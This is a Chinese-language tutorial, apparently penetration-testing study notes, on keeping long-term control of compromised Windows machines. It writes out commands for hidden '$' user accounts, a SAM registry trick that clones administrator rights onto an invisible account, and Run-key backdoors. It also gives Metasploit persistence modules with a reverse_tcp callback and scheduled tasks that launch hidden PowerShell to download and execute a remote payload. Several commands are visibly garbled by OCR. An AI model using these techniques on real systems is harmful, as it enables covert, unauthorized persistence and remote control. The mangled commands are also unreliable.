0x01.windows权限维持基本思路
1.什么是权限维持
权限维持就是在后渗透阶段中攻击者能持续、长期地获得目标控制权限的手段
2.权限维持的目的
拼的就是一个技术差和时间差
争取时间差进行下一步流程
通过权限维持的方式从时间线上拉长攻击者对目标的分析研究时间以便进行下一步的攻击活动。
提高攻击隐蔽性
单次的渗透测试攻击过程很容易被发现,但多次并且每次都以较短时间操作可以有效避免被行为分析发现。
多次攻击中配合其他攻击动作
在多人同时攻击目标的情况下,可以使用权限维持的方式等待“队友”攻击时或者完成攻击后进行时间同步上的配合攻击。
3.权限维持的基本机构
被动权限维持
基于事件的触发来完成的,通过触发某些计算机事件来获得对目标的控制权限。
举例: 如开机启动就是开机为事件来触发连接。
主动权限维持
通过打开攻击者已知的通道,在上一次攻击活动结束后再主动连接通道获得控制权限。
举例: 如添加用户、打开端口等就是使用攻击者已知的通道来连接
4.权限维持的逻辑
时间 在时间刻度上的特征是长期的或者多频次的
事件 在事件上的特征是高需求或者高概率的
环境 环境上的特征是稳定的、可持续的
连接 连接上的特征是动态的、连接时间上的特征是不确定的
5.如何快速寻找权限维持的新技巧
- 在计算机启动的过程中有哪些东西是我们可以利用的?
- 先通主板的电---》bios ---》uefi ---》winnocore --》注册表 --》系统服务---》计划任务---》开机启动项----》加载计算机组件
- 在用户正常使用计算机的过程中有哪些东西是我们可以利用的?
- 看看有哪些常用的进程
6.windows系统下的权限维持的基本知识框架
开机部分
服务 注册表 dll 开机启动项 网络连接
使用部分
用户 常用程序 常用网站
0x02.基于windows用户权限维持
1.windows用户的基本介绍
用户机制是用于单个windows机器中对不同用户使用做出的权限划分和隐私保护策略
每一个用户都有独立的文件操作位置和操作记录
每一个用户都可以对系统文件和公共文件有不同的操作权限
2.windows用户的查看和切换
NET USER
[username [password | *] [options]] [/DOMAIN]
username {password | *} /ADD [options] [/DOMAIN]
username [/DELETE] [/DOMAIN]
username [/TIMES:{times | ALL}]
username [/ACTIVE: {YES | NO}]
参数:
username添加用户或更改用户密码
del删除用户
add添加用户
times设置用户登录时间
active激活用户
domain指定域
3.添加隐藏用户
net user test$ test /add
在用户名屁股后面加一个$就可以了,这样添加的用户是无法通过net user查看到的,但是在计算机的用户和组中还是可以看到的
为什么添加$?
是因为$在转义到机器码中他和windows中用户操作的.sys模块是有冲突的,类似web里面的00截断
creds_all 查看内存中用户的密码
4.通过注册表添加隐藏用户
前提是已经拿到了一个控制权限
3389链接操作 (万不得已,不建议这样)新建用户用3389链接会生成一个家目录,system才可以删除
1.新建一个隐藏用户
2.打开注册表 HKEY_LOCAL_MACHINE\SAM\SAM\DomainsAccount\Users\Names,将用户的建和值这两个导出出来
3.将管理员的值导出来
4.把管理员注册表文件打开,复制F值 , 替换到我们的新建的隐藏用户的值文件中
5.删除导出的管理员注册表文件
6.通过命令删除新建用户,然后把用户的注册表文件导入到注册表(双击就可以了),删除文件
通过该方法,就不会在用户和组中留下用户名,无法通过命令删除这个用户,win7测试可以,而且还是管理员权限
补充:SAM文件权限更换
实战操作
就是通过在shell下执行之前操作注册表的那些操作 , 工具推荐:hidenadmin , 不好用
0x03.基于windows系统特性的权限维持
就是 Windows 特有的一些东西 , 比如注册表
1.注册表
命令行或点点点操作
新建字符串值 , 目标要登录用户
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersior\Run" /v aa /t REG_SZ /d
"C:\Users\aa.exe(后门文件)"
/v 值 /t 类型 /d 具体的值,payload路径
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersior\RunOnce" /v aa /t REG_SZ /d "C:\Users\aa.exe(后门文件)"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersior\RunServices" /v aa /t REG_SZ /d "C:\Users\aa.exe(后门文件)"
runservices 是指以服务的方式运行exe文件 , 和系统服务是不一样的
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersior\RunServicesOnce" /v aa /t REG_SZ /d "C:\Users\aa.exe(后门文件)"
以上是在当前用户登录下生效 : 适用于未提权 ,提权后可以将HKEY_CURRENT_USER改HKEY_LOCAL_MACHINE这样无论什么用户登录都可以触发
使用msf快速实现
前提:已经拿到了一个msf会话
第一步生成后门 为下面好使用
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 192.168.199.129
如果不想用默认的payload可以用以下方法
use post/windows/manage/persistence_exe
set REXEPATH /tmp/payload.exe (本地kali生成的exe的路径)
set SESSION 1
set STARTUP USER //如果已经提权到system则可以把这里改成SYSTEM
如果想控制我们只需要打开msf,监听exe对应的端口号
2.计划任务
计划任务
右键计算机->管理->计划任务
3389点点点操作 :
命令行下 :
(X64)-On System Start //不推荐: 有时候系统启动了没有来得及联网就开始执行payload就会失败
schtasks /create /tn PentestLab /tr "c:\windowsisyswow64WindowsPowerShellv1.0powershel.exe -WindowStyle hidden -NoLogoNoninteractive -ep bypass - nop -c 'IEX(new-object net.webclient).downloadstring(htp:/10.0.2.21:8080/ZPWLywg")" Isc onstart/ru System
schtasks 计划任务 /tn taskname 计划任务的名称 /tr taskrouce 任务的资源 /sc 触发条件 /ru 在什么权限下运行计划任务
(X64)- On User ldle (30mins)
schtasks /create /tn PentestL ab ltr "c:iwindowsisyswow64WindowsPowerShellv1.0powershel.exe -WindowStyle hidden -NoLogoNoninteractive -ep bypass - nop -c'IEX(new-object net.weblient).downloadstring(http;/10.0.2.21:8080/ZPWLywg")" /sc onidle /i 30
#(×86) - On User Login 推荐
schtasks /create itn PentestLab /t "c:.windowslsystem32\WindowsPowerShellv1.0lpowershellexe -WindowStyle hidden-NoLogo-Noninteractive -ep bypass - nop -C "IEX(new-object net.webclient).downloadstring(http;/10.0.2.21:8080/ZPWLwg")" Isc onlogon/ru System
(X86)-on System Start ll不推荐:有时候系统启动了没有来得及联网就开始执行payload就会失败
schtasks lcreate /tn PentestLab lt "c:lwindowslsystem32WindowsPowerShellv1.0lpowershell exe -WMindowStyle hidden-NoLogo-Noninteractive -ep bypass - nop -c 'IEX(new-object net.webclient).downloadstring("htp:/10.0.2.21:8080/ZPWLywg")" Isc onstart/ru System
(X86) - On User ldle (30mins)
schtasks /create /tn PentestLab /t "c.lwindowsisystem32/WindowsPowerShellv1.0lpowershell exe -WindowStyle hidden -NoLogo-NonInteractive -ep bypass - nop -c 'lIEX(new-object net.webclient).downloadstring("htp:/10.0.2.21:8080/ZPWLwg")"" /sc onidie /i 30
3.系统服务
1.手动
2.Sc create
- 针对服务器操作系统 win server
3.msf:
-
use post/windows/manage/pre+tab Set startup SERVICE run